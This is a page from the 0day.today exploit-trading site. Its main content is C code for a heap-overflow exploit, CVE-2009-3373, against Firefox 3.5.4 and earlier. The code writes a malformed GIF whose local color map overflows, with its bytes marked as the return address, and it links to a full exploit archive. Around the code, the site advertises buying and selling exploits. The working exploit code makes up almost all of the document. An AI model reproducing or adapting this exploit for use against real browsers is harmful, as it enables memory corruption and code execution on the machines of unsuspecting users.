0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

Mozilla Firefox 3.5.4 - Local Color Map Exploit

Author

x90c

Risk

[

Security Risk High

]

0day-ID

Category

Date add

CVE

Platform

#include <stdio.h>
#include <stdlib.h>
 
/*
    x90c local color map 1day exploit
 
    CVE-2009-3373 Firefox local color map 1day exploit
    (MFSA 2009-56 Firefox local color map parsing heap overflow)
    Full Exploit: http://www.exploit-db.com/sploits/27699.tgz
     
 
vulnerable:
    - Firefox 3.5.4 <=
    - Firefox 3.0.15 <=
    - SeaMonkey 2.0 <=
 
 
    x90c
*/
 
struct _IMAGE
{
    char GCT_size;          // global color map size
    char Background;        // backcolor( select in global color map entry )
    char default_pixel_ratio;   // 00
    char gct[4][3];         // 4 entries of global color map( 1bit/1pixel )
//    char app_ext[19];     // application extension 19bytes ( to enable animation )
    char gce[2];            // '!' GCE Label = F9
    char ext_data;          // 04 = 4 bytes of extension data
    char trans_color_ind;   // use transparent color? ( 0/1 )
    char ani_delay[2];      // 00 00 ( micro seconds delay in animation )
    char trans;             // color map entry to apply transparent color ( applied first image )
    char terminator1;       // 0x00
    char image_desc;        // ','
    char NW_corner[4];      // 00 00 00 00 (0, 0) image put position
    char canvas_size[4];    // 03 00 05 00 ( 3x5 ) logical canvas size
    char local_colormap;    // 80 use local color map? ( last bottom 3bits are bits per pixel)
    char lct[4][3];         // local color map ( table )
    char LZW_min;           // 02   ( LZW data length -1 )
    char encoded_image_size;// 03   ( LZW data length )
    char image_data[1];     // LZW encoded image data
    char terminator2;       // 0x00
 
} IMAGE;
 
struct _IMAGE1
{
    char image_desc;        // ','
    char NW_corner[4];      // 00 00 00 00 (0, 0)
    char canvas_size[4];    // 03 00 05 00 ( 3x5 )
    char local_colormap;    // 00 = no local color map
    char lct[7][3];         // local color map       
    char lcta[1][2];   
//    char LZW_min;           // 08
//    char encoded_image_size;    // 0B ( 11 bytes )
//    char image_data[9];    // encoded image data
    //char terminator2;    // 0x00
} IMAGE1;
 
 
struct _GIF_HEADER
{
    char MAGIC[6];  // GIF89a
    unsigned short canvas_width;    // 03 00
    unsigned short canvas_height;   // 05 00
    struct _IMAGE image;
    struct _IMAGE1 image1;
   // char trailler;  // ;      // GIF file trailer
} GIF_HEADER;
 
int main(int argc, char *argv[])
{
    struct _GIF_HEADER  gif_header;
    int i = 0;
    // (1) first image frame to LZW data, proper dummy ( it's can't put graphic )
//    char data[3] = "\x84\x8F\x59";       
    char data[3] = "\x00\x00\x00";
    // (2) second image frame to LZW data, backcolor changed by reference local color map
    char data1[9] = "\x84\x8F\x59\x84\x8F\x59\x84\x8F\x59";      
    char app_ext[19] = "\x21\xFF\x0B\x4E\x45\x54\x53\x43\x41\x50\x45\x32\x2E\x30\x03\x01\x00\x00\x00";  // animation tag ( not use )
    FILE *fp;
 
    memset(&gif_header, 0, sizeof(gif_header));
 
    // MAGIC    ( GIF87a ) last version - support alpha value(transparency)
    gif_header.MAGIC[0] = '\x47';
    gif_header.MAGIC[1] = '\x49';
    gif_header.MAGIC[2] = '\x46';
    gif_header.MAGIC[3] = '\x38';
    gif_header.MAGIC[4] = '\x39';
    gif_header.MAGIC[5] = '\x61';
 
    // LOGICAL CANVAS
    gif_header.canvas_width = 3;        // global canvas width length
    gif_header.canvas_height = 5;       // height length
 
    // GLOBAL HEADER ( included global header, if local color map exists, not used global color map )
     gif_header.image.GCT_size = '\x81';    // 81
     gif_header.image.Background = '\x00';   // global color table #2 ( black )
     gif_header.image.default_pixel_ratio = '\x00';        // 00 ( Default pixel aspect ratio )
    // gct ( [200][3] )
         
    gif_header.image.gct[0][0] = '\x43';
    gif_header.image.gct[0][1] = '\x43';
    gif_header.image.gct[0][2] = '\x43';
 
    gif_header.image.gct[1][0] = '\x43';
    gif_header.image.gct[1][1] = '\x43';
    gif_header.image.gct[1][2] = '\x43';
 
    gif_header.image.gct[2][0] = '\x43';
    gif_header.image.gct[2][1] = '\x43';
    gif_header.image.gct[2][2] = '\x43';
     
    gif_header.image.gct[3][0] = '\x43';
    gif_header.image.gct[3][1] = '\x43';
    gif_header.image.gct[3][2] = '\x43';
 
   /* for(i = 0; i < 19; i++)
    {
        gif_header.image.app_ext[i] = app_ext[i];
    }*/
 
    gif_header.image.gce[0] = '!';
    gif_header.image.gce[1] = '\xF9';
    gif_header.image.ext_data = '\x04';
    gif_header.image.trans_color_ind = '\x00';  // no use transparent color
    gif_header.image.ani_delay[0] = '\x00'; // C8 = 2 seconds delay ( animation )
    gif_header.image.ani_delay[1] = '\x00';
    gif_header.image.trans = '\x00';            // no use transparent color ( color map )
    gif_header.image.terminator1 = '\x00';
 
    // IMAGE Header
    gif_header.image.image_desc = ',';
    gif_header.image.NW_corner[0] = '\x00';     // 0,0 position
    gif_header.image.NW_corner[1] = '\x00';
    gif_header.image.NW_corner[2] = '\x00';
    gif_header.image.NW_corner[3] = '\x00';
    gif_header.image.canvas_size[0] = '\x03';   // 3 x 5 canvas
    gif_header.image.canvas_size[1] = '\x00';
    gif_header.image.canvas_size[2] = '\x05';
    gif_header.image.canvas_size[3] = '\x00';
     
 
    gif_header.image.local_colormap = 0x80;    // use local color map
//    gif_header.image.local_colormap |= 0x40;    // image formatted in Interlaced order
    //gif_header.image.local_colormap |= 0x4;     // pixel of local color map
    //gif_header.image.local_colormap |= 0x2; // 2 bits.
    gif_header.image.local_colormap |= 0x1; // bits per pixel. ( black/white )
    gif_header.image.lct[0][0] = '\x42';    // R ( red )
    gif_header.image.lct[0][1] = '\x42';
    gif_header.image.lct[0][2] = '\x42';
    gif_header.image.lct[1][0] = '\x42';
    gif_header.image.lct[1][1] = '\x42';    // G ( green )
    gif_header.image.lct[1][2] = '\x42';    // b ( blue )
    gif_header.image.lct[2][0] = '\x42';
    gif_header.image.lct[2][1] = '\x42';
    gif_header.image.lct[2][2] = '\x42';
    gif_header.image.lct[3][0] = '\x42';
    gif_header.image.lct[3][1] = '\x42';
    gif_header.image.lct[3][2] = '\x42';
 
    // RASTER DATA
    gif_header.image.LZW_min = '\x00';  // total encode data - 1
    gif_header.image.encoded_image_size = '\x01';   // 255 bytes
    // encoded data
    for(i = 0; i < 1; i++)
    {
        gif_header.image.image_data[i] = 0xFF;
    }
 
    // RASTER DATA EOF
    gif_header.image.terminator2 = '\x00';
 
    // --------------------------------------------------
     
    // ------------- IMAGE1 -----------------------------
    gif_header.image1.image_desc = ',';
    gif_header.image1.NW_corner[0] = '\x00';    // (0, 0)
    gif_header.image1.NW_corner[1] = '\x00';
    gif_header.image1.NW_corner[2] = '\x00';
    gif_header.image1.NW_corner[3] = '\x00';
    gif_header.image1.canvas_size[0] = '\x03';  // 3 x 5
    gif_header.image1.canvas_size[1] = '\x00';
    gif_header.image1.canvas_size[2] = '\x05';
    gif_header.image1.canvas_size[3] = '\x00';
    gif_header.image1.local_colormap = 0x80;    // use local color map
//    gif_header.image1.local_colormap |= 0x40;    // image formatted in Interlaced order
    //gif_header.image1.local_colormap |= 0x4;     // pixel of local color map 4 pixel
    gif_header.image1.local_colormap |= 0x2;
    //gif_header.image1.local_colormap |= 0x1;    // 1bit per pixel.
 
    // below values are will used as return addr
    for(i = 0; i < 7; i++)       // second image frame's local color map entry length is 8
    {
        gif_header.image1.lct[i][0] = '\x0c';   // (RET & 0x00FF0000)
        gif_header.image1.lct[i][1] = '\x0c';   // (RET & 0xFF00FF00)
        gif_header.image1.lct[i][2] = '\x0c';   // (RET & 0X000000FF)
    }
    gif_header.image1.lcta[0][0] = '\x0c';
    gif_header.image1.lcta[0][1] = '\x0c';
    //}
 
    
    // RASTER DATA
    //gif_header.image1.LZW_min = 0x00;//'\x05';
    //gif_header.image1.encoded_image_size = 0x00;//'\x06';*/
 
    // encoded data
/*    for(i = 0; i < 9; i++)
    {
        gif_header.image1.image_data[i] = 0xFF;//data1[i];
    }*/
 
    // RASTER DATA
    // second image frame's last byte ignored ( null terminatee, GIF total trailer )
    //gif_header.image1.terminator2 = '\x00';
 
    //gif_header.trailler = ';';
 
 
    // --------------------------------------------------
 
    fp = fopen("a.gif", "wb");
 
    printf("%d\n", sizeof(struct _GIF_HEADER));
 
    fwrite(&gif_header, sizeof(struct _GIF_HEADER) - 1, 1, fp);
 
    fclose(fp);
 
    system("xxd ./a.gif");
 
}

#  0day.today [2024-11-14]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

Mozilla Firefox 3.5.4 - Local Color Map Exploit

Report Error

Report Error